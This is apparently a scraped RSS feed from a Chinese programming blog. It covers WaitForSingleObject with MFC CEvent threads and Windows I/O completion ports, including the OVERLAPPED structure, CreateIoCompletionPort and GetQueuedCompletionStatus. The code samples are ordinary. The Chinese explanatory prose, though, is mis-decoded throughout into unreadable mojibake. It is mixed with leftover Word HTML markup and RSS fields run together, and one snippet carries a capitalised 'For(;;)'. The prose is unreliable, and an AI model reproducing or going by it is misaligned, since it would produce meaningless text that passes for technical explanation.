style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">錛屽鏋滄椂闂磋秴榪?/span> </font><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鍊間絾鏃墮棿浜嬩歡榪樻槸鏃犱俊鍙風姸鎬佸垯榪斿洖</span> <span lang=en><font face="Times New Roman">WAIT_TIMEOUT</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">銆?br></span></font><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana"><br>hHandle</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鍙互鏄笅鍒楀璞$殑鍙ユ焺錛?br></font></span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">Change notification <br>Console input <br>Event <br>Job <br>Memory resource notification <br>Mutex <br>Process <br>Semaphore <br>Thread <br>Waitable timer </span> </p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 0.05pt"><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">WaitForSingleObject</span> <span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鍑芥暟鐢ㄦ潵媯嫻?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">hHandle</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>浜嬩歡鐨勪俊鍙風姸鎬侊紝褰撳嚱鏁扮殑鎵ц鏃墮棿瓚呰繃</font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>灝辮繑鍥烇紝浣嗗鏋滃弬鏁?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">dwMilliseconds</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>涓?/font> </span><em><span lang=en style="FONT-SIZE: 8.5pt; COLOR: black; FONT-FAMILY: Verdana">INFINITE</span> </em><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鏃跺嚱鏁板皢鐩村埌鐩稿簲鏃墮棿浜嬩歡鍙樻垚鏈変俊鍙風姸鎬佹墠榪斿洖錛屽惁鍒欏氨涓鐩寸瓑寰呬笅鍘伙紝鐩村埌</font> </span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">WaitForSingleObject</span> <span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鏈夎繑鍥炵洿鎵嶆墽琛屽悗闈㈢殑浠g爜銆傚湪榪欓噷涓句釜渚嬪瓙錛?/font> </span></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:=""><font size=3>鍏堝垱寤轟竴涓叏灞</font> </span><span lang=en style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Arial">Event</span> <font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">瀵硅薄</span> <span lang=en><font face="Times New Roman">g_event:</font> </span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><span lang=en><font size=3><font face="Times New Roman"><span style="mso-spacerun: yes">    </span>CEvent g_event;</font> </font></span></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-char-indent-count: -2.0; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鍦ㄧ▼搴忎腑鍙互閫氳繃璋冪敤</span> <span lang=en><font face="Times New Roman">CEvent::SetEvent</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">璁劇疆浜嬩歡涓烘湁淇″彿鐘舵併?/span> </font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 21pt; tab-stops: 96.75pt; mso-para-margin-left: 2.0gd"><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">涓嬮潰鏄竴涓嚎紼嬪嚱鏁?/span> <span lang=en><font face="Times New Roman">MyThreadPro()</font> </span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>UINT CFlushDlg::MyThreadProc( LPVOID pParam ) <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>{</span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>WaitForSingleObject(g_event,INFINITE);<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>For(;;)<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">        </span>{ <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">         </span></span><span lang=en style="FONT-SIZE: 9pt; mso-ascii-font-family: 鏂板畫浣? mso-font-kerning: 0pt; mso-fareast-font-family: 鏂板畫浣?><font face="Times New Roman">…………</font> </span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>.</span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-spacerun: yes">        </span>} <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">return</span> 0; <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>} </span> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鍦ㄨ繖涓嚎紼嬪嚱鏁頒腑鍙湁璁劇疆</span> <span lang=en><font face="Times New Roman">g_event</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">涓烘湁淇″彿鐘舵佹椂鎵嶆墽琛屼笅闈㈢殑</span> <span lang=en><font face="Times New Roman">for</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">寰幆錛屽洜涓?/span> <span lang=en><font face="Times New Roman">g_event</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鏄叏灞鍙橀噺錛屾墍浠ユ垜浠彲浠ュ湪鍒殑綰跨▼涓氳繃</span> <span lang=en><font face="Times New Roman">g_event. SetEvent</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鎺у埗榪欎釜綰跨▼銆?/span></font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">榪樻湁涓縐嶇敤娉曞氨鏄垜浠彲浠ラ氳繃</span> <span lang=en><font face="Times New Roman">WaitForSingleObject</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鍑芥暟鏉ラ棿闅旂殑鎵ц涓涓嚎紼嬪嚱鏁扮殑鍑芥暟浣?/span> </font></p> <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=en><span style="mso-spacerun: yes"><font face="Times New Roman" size=3>     </font></span></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>UINT CFlushDlg::MyThreadProc( LPVOID pParam )<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>{ <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">while</span>(WaitForSingleObject(g_event,MT_INTERVAL)!=WAIT_OBJECT_0)<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>{<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 2">         </span></span><font face="Times New Roman"><span lang=en style="FONT-SIZE: 9pt; COLOR: blue; mso-ascii-font-family: 鏂板畫浣? mso-font-kerning: 0pt; mso-fareast-font-family: 鏂板畫浣?>………………</span> </font> <br><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span>} <br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'><span style="mso-tab-count: 1">     </span><span style="COLOR: blue">return</span> 0;<br></span><span lang=en style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: ; mso-font-kerning: 0pt" times="" new="" roman='??=""'>} </span>  <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; tab-stops: 96.75pt"><font size=3><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鍦ㄨ繖涓嚎紼嬪嚱鏁頒腑鍙互鍙互閫氳繃璁劇疆</span> <span lang=en><font face="Times New Roman">MT_INTERVAL</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鏉ユ帶鍒惰繖涓嚎紼嬬殑鍑芥暟浣撳涔呮墽琛屼竴嬈★紝褰撲簨浠朵負鏃犱俊鍙風姸鎬佹椂鍑芥暟浣撻殧</span> <span lang=en><font face="Times New Roman">MT_INTERVAL</font> </span><span style="FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: " ?="" times="" new="" roman='?;=""' mso-hansi-font-family:="">鎵ц涓嬈★紝褰撹緗簨浠朵負鏈変俊鍙風姸鎬佹椂錛岀嚎紼嬪氨鎵ц瀹屾瘯浜嗐?/span> </font></p> <img src ="http://m.shnenglu.com/twzheng/aggbug/21029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/twzheng/" target="_blank">璋枃鏀?/a> 2007-04-01 00:04 <a href="http://m.shnenglu.com/twzheng/articles/21029.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[鎽樺綍]Windows瀹屾垚绔彛緙栫▼http://m.shnenglu.com/twzheng/articles/20520.html璋枃鏀?/dc:creator>璋枃鏀?/author>Sat, 24 Mar 2007 03:37:00 GMThttp://m.shnenglu.com/twzheng/articles/20520.htmlhttp://m.shnenglu.com/twzheng/comments/20520.htmlhttp://m.shnenglu.com/twzheng/articles/20520.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/20520.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/20520.html涓 鍩烘湰姒傚康
浜?OVERLAPPED鏁版嵁緇撴瀯
涓?瀹屾垚绔彛鐨勫唴閮ㄦ満鍒?br>   1銆佸垱寤哄畬鎴愮鍙?br>   2銆佸畬鎴愮鍙g嚎紼嬬殑宸ヤ綔鍘熺悊
   3銆?nbsp;綰跨▼闂存暟鎹紶閫?br>   4銆佺嚎紼嬬殑瀹夊叏閫鍑?br>
涓 鍩烘湰姒傚康
       璁懼---windows鎿嶄綔緋葷粺涓婂厑璁擱氫俊鐨勪換浣曚笢瑗匡紝姣斿鏂囦歡銆佺洰褰曘佷覆琛屽彛銆佸茍琛屽彛銆侀偖浠舵Ы銆佸懡鍚嶇閬撱佹棤鍚嶇閬撱佸鎺ュ瓧銆佹帶鍒跺彴銆侀昏緫紓佺洏銆佺墿鐞嗙鐩樼瓑銆傜粷澶у鏁頒笌璁懼鎵撲氦閬撶殑鍑芥暟閮芥槸CreateFile/ReadFile/WriteFile絳夈傛墍浠ユ垜浠笉鑳界湅鍒?*File鍑芥暟灝卞彧鎯沖埌鏂囦歡璁懼銆?br>       涓庤澶囬氫俊鏈変袱縐嶆柟寮忥紝鍚屾鏂瑰紡鍜屽紓姝ユ柟寮忋傚悓姝ユ柟寮忎笅錛屽綋璋冪敤ReadFile鍑芥暟鏃訛紝鍑芥暟浼氱瓑寰呯郴緇熸墽琛屽畬鎵瑕佹眰鐨勫伐浣滐紝鐒跺悗鎵嶈繑鍥烇紱寮傛鏂瑰紡涓嬶紝ReadFile榪欑被鍑芥暟浼氱洿鎺ヨ繑鍥烇紝緋葷粺鑷繁鍘誨畬鎴愬璁懼鐨勬搷浣滐紝鐒跺悗浠ユ煇縐嶆柟寮忛氱煡瀹屾垚鎿嶄綔銆?br>       閲嶅彔I/O----欏懼悕鎬濅箟錛屽綋浣犺皟鐢ㄤ簡鏌愪釜鍑芥暟錛堟瘮濡俁eadFile錛夊氨绔嬪埢榪斿洖鍋氳嚜宸辯殑鍏朵粬鍔ㄤ綔鐨勬椂鍊欙紝鍚屾椂緋葷粺涔熷湪瀵笽/0璁懼榪涜浣犺姹傜殑鎿嶄綔錛屽湪榪欐鏃墮棿鍐呬綘鐨勭▼搴忓拰緋葷粺鐨勫唴閮ㄥ姩浣滄槸閲嶅彔鐨勶紝鍥犳鏈夋洿濂界殑鎬ц兘銆傛墍浠ワ紝閲嶅彔I/O鏄敤浜庡紓姝ユ柟寮忎笅浣跨敤I/O璁懼鐨勩?br>       閲嶅彔I/O闇瑕佷嬌鐢ㄧ殑涓涓潪甯擱噸瑕佺殑鏁版嵁緇撴瀯OVERLAPPED銆?br>       瀹屾垚绔彛---鏄竴縐峎INDOWS鍐呮牳瀵硅薄銆傚畬鎴愮鍙g敤浜庡紓姝ユ柟寮忕殑閲嶅彔I/0鎯呭喌涓嬶紝褰撶劧閲嶅彔I/O涓嶄竴瀹氶潪浣跨敤瀹屾垚绔彛涓嶅彲錛岃繕鏈夎澶囧唴鏍稿璞°佷簨浠跺璞°佸憡璀/0絳夈備絾鏄畬鎴愮鍙e唴閮ㄦ彁渚涗簡綰跨▼姹犵殑綆$悊錛屽彲浠ラ伩鍏嶅弽澶嶅垱寤虹嚎紼嬬殑寮閿錛屽悓鏃跺彲浠ユ牴鎹瓹PU鐨勪釜鏁扮伒媧葷殑鍐沖畾綰跨▼涓暟錛岃屼笖鍙互璁╁噺灝戠嚎紼嬭皟搴︾殑嬈℃暟浠庤屾彁楂樻ц兘銆?br>
浜?OVERLAPPED鏁版嵁緇撴瀯
typedef struct _OVERLAPPED {
    ULONG_PTR Internal;          //琚郴緇熷唴閮ㄨ祴鍊鹼紝鐢ㄦ潵琛ㄧず緋葷粺鐘舵?br>    ULONG_PTR InternalHigh;   // 琚郴緇熷唴閮ㄨ祴鍊鹼紝浼犺緭鐨勫瓧鑺傛暟
    union {
        struct {
            DWORD Offset;            //鍜孫ffsetHigh鍚堟垚涓涓?4浣嶇殑鏁存暟錛岀敤鏉ヨ〃紺轟粠鏂囦歡澶撮儴鐨勫灝戝瓧鑺傚紑濮?br>            DWORD OffsetHigh;     //鎿嶄綔錛屽鏋滀笉鏄鏂囦歡I/O鏉ユ搷浣滐紝鍒欏繀欏昏瀹氫負0
        };
        PVOID Pointer;
    };
    HANDLE  hEvent;               //濡傛灉涓嶄嬌鐢紝灝卞姟蹇呰涓?,鍚﹀垯璇瘋祴涓涓湁鏁堢殑Event鍙ユ焺
} OVERLAPPED, *LPOVERLAPPED;

涓嬮潰鏄紓姝ユ柟寮忎嬌鐢≧eadFile鐨勪竴涓緥瀛?br>OVERLAPPED Overlapped;
Overlapped.Offset=345;
Overlapped.OffsetHigh=0;
Overlapped.hEvent=0;
//鍋囧畾鍏朵粬鍙傛暟閮藉凡緇忚鍒濆鍖?br>ReadFile(hFile,buffer,sizeof(buffer),&dwNumBytesRead,&Overlapped);

榪欐牱灝卞畬鎴愪簡寮傛鏂瑰紡璇繪枃浠剁殑鎿嶄綔錛岀劧鍚嶳eadFile鍑芥暟榪斿洖錛岀敱鎿嶄綔緋葷粺鍋氳嚜宸辯殑浜嬫儏鍚?br>涓嬮潰浠嬬粛鍑犱釜涓嶰VERLAPPED緇撴瀯鐩稿叧鐨勫嚱鏁?br>絳夊緟閲嶅彔I/0鎿嶄綔瀹屾垚鐨勫嚱鏁?br>BOOL GetOverlappedResult (
HANDLE hFile,
LPOVERLAPPED lpOverlapped,//鎺ュ彈榪斿洖鐨勯噸鍙營/0緇撴瀯
LPDWORD lpcbTransfer,            //鎴愬姛浼犺緭浜嗗灝戝瓧鑺傛暟
BOOL fWait                                //TRUE鍙湁褰撴搷浣滃畬鎴愭墠榪斿洖錛孎ALSE鐩存帴榪斿洖錛屽鏋滄搷浣滄病鏈夊畬鎴愶紝閫氳繃璋?/鐢℅etLastError ( )鍑芥暟浼氳繑鍥濫RROR_IO_INCOMPLETE
);
瀹廐asOverlappedIoCompleted鍙互甯姪鎴戜滑嫻嬭瘯閲嶅彔I/0鎿嶄綔鏄惁瀹屾垚錛岃瀹忓OVERLAPPED緇撴瀯鐨処nternal鎴愬憳榪涜浜嗘祴璇曪紝鏌ョ湅鏄惁絳変簬STATUS_PENDING鍊箋?br>
涓?瀹屾垚绔彛鐨勫唴閮ㄦ満鍒?br>   1銆佸垱寤哄畬鎴愮鍙?br>       瀹屾垚绔彛鏄竴涓唴鏍稿璞★紝浣跨敤鏃朵粬鎬繪槸瑕佸拰鑷沖皯涓涓湁鏁堢殑璁懼鍙ユ焺榪涜鍏寵仈錛屽畬鎴愮鍙f槸涓涓鏉傜殑鍐呮牳瀵硅薄錛屽垱寤哄畠鐨勫嚱鏁版槸錛?br>HANDLE CreateIoCompletionPort(
    IN HANDLE FileHandle,
    IN HANDLE ExistingCompletionPort,
    IN ULONG_PTR CompletionKey,
    IN DWORD NumberOfConcurrentThreads
    );
閫氬父鍒涘緩宸ヤ綔鍒嗕袱姝ワ細
絎竴姝ワ紝鍒涘緩涓涓柊鐨勫畬鎴愮鍙e唴鏍稿璞★紝鍙互浣跨敤涓嬮潰鐨勫嚱鏁幫細
       HANDLE CreateNewCompletionPort(DWORD dwNumberOfThreads)
{
          return CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,NULL,dwNumberOfThreads);
};  
絎簩姝ワ紝灝嗗垰鍒涘緩鐨勫畬鎴愮鍙e拰涓涓湁鏁堢殑璁懼鍙ユ焺鍏寵仈璧鋒潵錛屽彲浠ヤ嬌鐢ㄤ笅闈㈢殑鍑芥暟錛?br>       bool AssicoateDeviceWithCompletionPort(HANDLE hCompPort,HANDLE hDevice,DWORD dwCompKey)
{
          HANDLE h=CreateIoCompletionPort(hDevice,hCompPort,dwCompKey,0);
          return h==hCompPort;
};
璇存槑
1錛?nbsp; CreateIoCompletionPort鍑芥暟涔熷彲浠ヤ竴嬈℃х殑鏃㈠垱寤哄畬鎴愮鍙e璞★紝鍙堝叧鑱斿埌涓涓湁鏁堢殑璁懼鍙ユ焺
2錛?nbsp; CompletionKey鏄竴涓彲浠ヨ嚜宸卞畾涔夌殑鍙傛暟錛屾垜浠彲浠ユ妸涓涓粨鏋勭殑鍦板潃璧嬬粰瀹冿紝鐒跺悗鍦ㄥ悎閫傜殑鏃跺欏彇鍑烘潵浣跨敤錛屾渶濂借淇濊瘉緇撴瀯閲岄潰鐨勫唴瀛樹笉鏄垎閰嶅湪鏍堜笂錛岄櫎闈炰綘鏈夊崄鍒嗙殑鎶婃彙鍐呭瓨浼氫繚鐣欏埌浣犺浣跨敤鐨勯偅涓鍒匯?br>3錛?nbsp; NumberOfConcurrentThreads閫氬父鐢ㄦ潵鎸囧畾瑕佸厑璁稿悓鏃惰繍琛岀殑鐨勭嚎紼嬬殑鏈澶т釜鏁般傞氬父鎴戜滑鎸囧畾涓?錛岃繖鏍風郴緇熶細鏍規(guī)嵁CPU鐨勪釜鏁版潵鑷姩紜畾銆?br>鍒涘緩鍜屽叧鑱旂殑鍔ㄤ綔瀹屾垚鍚庯紝緋葷粺浼氬皢瀹屾垚绔彛鍏寵仈鐨勮澶囧彞鏌勩佸畬鎴愰敭浣滀負涓鏉$邯褰曞姞鍏ュ埌榪欎釜瀹屾垚绔彛鐨勮澶囧垪琛ㄤ腑銆傚鏋滀綘鏈夊涓畬鎴愮鍙o紝灝變細鏈夊涓搴旂殑璁懼鍒楄〃銆傚鏋滆澶囧彞鏌勮鍏抽棴錛屽垯琛ㄤ腑鑷姩鍒犻櫎璇ョ邯褰曘?br>
   2銆佸畬鎴愮鍙g嚎紼嬬殑宸ヤ綔鍘熺悊
       瀹屾垚绔彛鍙互甯姪鎴戜滑綆$悊綰跨▼姹狅紝浣嗘槸綰跨▼姹犱腑鐨勭嚎紼嬮渶瑕佹垜浠嬌鐢╛beginthreadex鏉ュ垱寤猴紝鍑粈涔堥氱煡瀹屾垚绔彛綆$悊鎴戜滑鐨勬柊綰跨▼鍛紵絳旀鍦ㄥ嚱鏁癎etQueuedCompletionStatus銆傝鍑芥暟鍘熷瀷錛?br>BOOL GetQueuedCompletionStatus(
    IN  HANDLE CompletionPort,
    OUT LPDWORD lpNumberOfBytesTransferred,
    OUT PULONG_PTR lpCompletionKey,
    OUT LPOVERLAPPED *lpOverlapped,
    IN  DWORD dwMilliseconds
);
榪欎釜鍑芥暟璇曞浘浠庢寚瀹氱殑瀹屾垚绔彛鐨処/0瀹屾垚闃熷垪涓娊鍙栫邯褰曘傚彧鏈夊綋閲嶅彔I/O鍔ㄤ綔瀹屾垚鐨勬椂鍊欙紝瀹屾垚闃熷垪涓墠鏈夌邯褰曘傚嚒鏄皟鐢ㄨ繖涓嚱鏁扮殑綰跨▼灝嗚鏀懼叆鍒板畬鎴愮鍙g殑絳夊緟綰跨▼闃熷垪涓紝鍥犳瀹屾垚绔彛灝卞彲浠ュ湪鑷繁鐨勭嚎紼嬫睜涓府鍔╂垜浠淮鎶よ繖涓嚎紼嬨?br>瀹屾垚绔彛鐨処/0瀹屾垚闃熷垪涓瓨鏀句簡褰撻噸鍙營/0瀹屾垚鐨勭粨鏋?--- 涓鏉$邯褰曪紝璇ョ邯褰曟嫢鏈夊洓涓瓧孌碉紝鍓嶄笁欏瑰氨瀵瑰簲GetQueuedCompletionStatus鍑芥暟鐨?銆?銆?鍙傛暟錛屾渶鍚庝竴涓瓧孌墊槸閿欒淇℃伅dwError銆傛垜浠篃鍙互閫氳繃璋冪敤PostQueudCompletionStatus妯℃嫙瀹屾垚浜嗕竴涓噸鍙營/0鎿嶄綔銆?br>褰揑/0瀹屾垚闃熷垪涓嚭鐜頒簡綰綍錛屽畬鎴愮鍙e皢浼氭鏌ョ瓑寰呯嚎紼嬮槦鍒楋紝璇ラ槦鍒椾腑鐨勭嚎紼嬮兘鏄氳繃璋冪敤GetQueuedCompletionStatus鍑芥暟浣胯嚜宸卞姞鍏ラ槦鍒楃殑銆傜瓑寰呯嚎紼嬮槦鍒楀緢綆鍗曪紝鍙槸淇濆瓨浜嗚繖浜涚嚎紼嬬殑ID銆傚畬鎴愮鍙d細鎸夌収鍚庤繘鍏堝嚭鐨勫師鍒欏皢涓涓嚎紼嬮槦鍒楃殑ID鏀懼叆鍒伴噴鏀劇嚎紼嬪垪琛ㄤ腑錛屽悓鏃惰綰跨▼灝嗕粠絳夊緟GetQueuedCompletionStatus鍑芥暟榪斿洖鐨勭潯鐪犵姸鎬佷腑鍙樹負鍙皟搴︾姸鎬佺瓑寰匔PU鐨勮皟搴︺?br>鍩烘湰涓婃儏鍐靛氨鏄姝わ紝鎵浠ユ垜浠殑綰跨▼瑕佹兂鎴愪負瀹屾垚绔彛綆$悊鐨勭嚎紼嬶紝灝卞繀欏昏璋冪敤
GetQueuedCompletionStatus鍑芥暟銆傚嚭浜庢ц兘鐨勪紭鍖栵紝瀹為檯涓婂畬鎴愮鍙h繕緇存姢浜嗕竴涓殏鍋滅嚎紼嬪垪琛紝鍏蜂綋緇嗚妭鍙互鍙傝冦奧indows楂樼駭緙栫▼鎸囧崡銆嬶紝鎴戜滑鐜板湪鐭ラ亾鐨勭煡璇嗭紝宸茬粡瓚沖浜嗐?br>
   3銆佺嚎紼嬮棿鏁版嵁浼犻?br>       綰跨▼闂翠紶閫掓暟鎹渶甯哥敤鐨勫姙娉曟槸鍦╛beginthreadex鍑芥暟涓皢鍙傛暟浼犻掔粰綰跨▼鍑芥暟錛屾垨鑰呬嬌鐢ㄥ叏灞鍙橀噺銆備絾鏄畬鎴愮鍙h繕鏈夎嚜宸辯殑浼犻掓暟鎹殑鏂規(guī)硶錛岀瓟妗堝氨鍦ㄤ簬CompletionKey鍜孫VERLAPPED鍙傛暟銆?br>CompletionKey琚繚瀛樺湪瀹屾垚绔彛鐨勮澶囪〃涓紝鏄拰璁懼鍙ユ焺涓涓瀵瑰簲鐨勶紝鎴戜滑鍙互灝嗕笌璁懼鍙ユ焺鐩稿叧鐨勬暟鎹繚瀛樺埌CompletionKey涓紝鎴栬呭皢CompletionKey琛ㄧず涓虹粨鏋勬寚閽堬紝榪欐牱灝卞彲浠ヤ紶閫掓洿鍔犱赴瀵岀殑鍐呭銆傝繖浜涘唴瀹瑰彧鑳藉湪涓寮濮嬪叧鑱斿畬鎴愮鍙e拰璁懼鍙ユ焺鐨勬椂鍊欏仛錛屽洜姝や笉鑳藉湪浠ュ悗鍔ㄦ佹敼鍙樸?br>
